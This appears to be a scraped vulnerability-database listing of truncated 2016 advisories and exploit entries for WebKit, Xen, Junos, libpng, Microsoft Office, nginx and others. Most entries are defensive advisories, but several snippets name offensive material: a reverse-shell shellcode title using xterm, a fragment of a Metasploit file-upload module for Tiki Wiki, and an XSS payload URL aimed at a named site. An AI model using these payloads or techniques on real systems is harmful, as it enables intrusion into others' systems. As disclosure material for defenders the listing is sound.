WebKit - TypedArray.fill Memory Corruption

length; unsigned begin = argumentClampedIndexFromStartOrEndexec, 1, length; unsigned end = argumentClampedIndexFromStartOrEndexec, 2, length, length; if end thisValue; if !thisObject-setRangeToValueexec, begin, end, valueToInsert return JSValue::encodejsUndefined; argumentClampedIndexFromStartOrE...

Xen Denial of Service Vulnerability (CNVD-2016-05534)

Xen is an open source virtual machine monitor product developed at the University of Cambridge in the United Kingdom. Xen has a denial-of-service vulnerability, which can be exploited by an attacker using a PV-mode x86 32-bit hardware platform to trigger a security check that will cause the VM...

x86: Missing SMAP whitelisting in 32-bit exception / event delivery

ISSUE DESCRIPTION Supervisor Mode Access Prevention is a hardware feature designed to make an Operating System more robust, by raising a pagefault rather than accidentally following a pointer into userspace. However, legitimate accesses into userspace require whitelisting, and the exception...

xen-kernel -- x86: Missing SMAP whitelisting in 32-bit exception / event delivery

The Xen Project reports: Supervisor Mode Access Prevention is a hardware feature designed to make an Operating System more robust, by raising a pagefault rather than accidentally following a pointer into userspace. However, legitimate accesses into userspace require whitelisting, and the exceptio...

Juniper Junos Crafted UDP Packet Handling DoS (JSA10758)

According to its self-reported version number and architecture, the remote Juniper Junos device is affected by a denial of service vulnerability in the 64-bit routing engine. An unauthenticated, remote attacker can exploit this, via a specially crafted UDP packet sent to an interface IP address, ...

libpng: Buffer overflow vulnerabilities in png_get_PLTE/png_set_PLTE functions

It was discovered that the pnggetPLTE and pngsetPLTE functions of libpng did not correctly calculate the maximum palette sizes for bit depths of less than 8. In case an application tried to use these functions in combination with properly calculated palette sizes, this could lead to a buffer...

libpng: Buffer overflow vulnerabilities in png_get_PLTE/png_set_PLTE functions

It was discovered that the pnggetPLTE and pngsetPLTE functions of libpng did not correctly calculate the maximum palette sizes for bit depths of less than 8. In case an application tried to use these functions in combination with properly calculated palette sizes, this could lead to a buffer...

Fedora 24 : xen (2016-5d5a8bfbc5)

xen no longer crashes when built without -fno-tree-coalesce-vars, in systemd only try to load kernel modules that are in Fedora, x86 software guest page walk PS bit handling flaw XSA-176, CVE-2016-4480 Note that Tenable Network Security has extracted the preceding description block directly from...

Juniper Networks Junos OS UDP Kernel Crash Vulnerability

Junos OS is prone to a kernel crash vulnerability. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/o:juniper:junos"; if description...

Linux/x86 - Reverse Shell using Xterm ///usr/bin/xterm -display 127.1.1.1:10 Shellcode (68 bytes)

/ Title : Linux , Reverse Shell using Xterm , ///usr/bin/xterm -display 127.1.1.1:10 Date : 12-07-2016 Author : RTV Tested On : Ubuntu x86 shellcode :...

Scientific Linux Security Update : ocaml on SL7.x x86_64 (20160623)

Security Fixes : - OCaml versions 4.02.3 and earlier have a runtime bug that, on 64-bit platforms, causes size arguments to internal memmove calls to be sign- extended from 32- to 64-bits before being passed to the memmove function. This leads to arguments between 2GiB and 4GiB being interpreted ...

Security Update for Microsoft PowerPoint 2013 (KB3115254) 32-Bit Edition

A security vulnerability exists in Microsoft PowerPoint 2013 32-Bit Edition that could allow arbitrary code to run when a maliciously modified file is opened. This update resolves that vulnerability...

Microsoft Windows Kernel 'Win32k.sys' CVE-2016-3252 Local Privilege Escalation Vulnerability

Description Microsoft Windows is prone to a local privilege-escalation vulnerability that occurs in the Windows kernel. A local attacker can exploit this issue to execute arbitrary code in kernel mode with elevated privileges. Technologies Affected Microsoft Windows 10 for 32-bit Systems Microsof...

Microsoft Office CVE-2016-3281 Memory Corruption Vulnerability

Description Microsoft Office is prone to a remote memory-corruption vulnerability because it fails to properly handle objects in memory. An attacker can leverage this issue to execute arbitrary code in the context of the currently logged-in user. Failed exploit attempts will likely result in deni...

Tiki Wiki 15.1 - Unauthenticated File Upload (Metasploit)

Exploit for php platform in category remote exploits This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'Tiki Wiki Unauthenticated File Upload Vulnerability', 'Description' = %q...

Ian Dunn: SSL certificate public key less than 2048 bit

One of the SSL certificates used by your SSL server On your personal website: https://iandunn.name/ contains a public key less than 2048 bit long. New Standard for SSL Certificates Industry standards set by the Certification Authority/Browser CA/B Forum require that certificates issued after...

The vulnerability of the SPSS Statistics data analysis system allows a perpetrator to execute arbitrary codes on 32-bit platforms.

The vulnerability of the ActiveX component of SPSS Statistics is related to errors in the code. Exploiting this vulnerability allows a malicious actor to execute arbitrary code on 32-bit platforms using a specially crafted HTML document...

Vulnerabilities in the nginx software allow a malicious attacker to compromise the confidentiality, integrity, and accessibility of protected information.

The vulnerability in the implementation of SPDY in the ngxhttpspdymodule module of nginx when running on 32-bit platforms allows malicious actors to execute arbitrary code using specially crafted requests...

The vulnerability of the Wireshark Network Protocol Analyzer software allows a remote attacker to compromise the accessibility of protected information.

A vulnerability exists in the SnifferDecompress function in the wireshark/Wireshark DOS sniffer processing tool, due to the lack of data bit mask checking. Exploiting this vulnerability allows malicious individuals operating remotely to cause a service failure abnormal termination of the...

bit-port.ru XSS vulnerability

Vulnerable URL: http://bit-port.ru/rezultaty-poiska/1373459229.html?searchphraseinput=%22%3E%3Cscript%3Ealert%28%2FOPENBUGBOUNTY%2F%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4511851 VIP...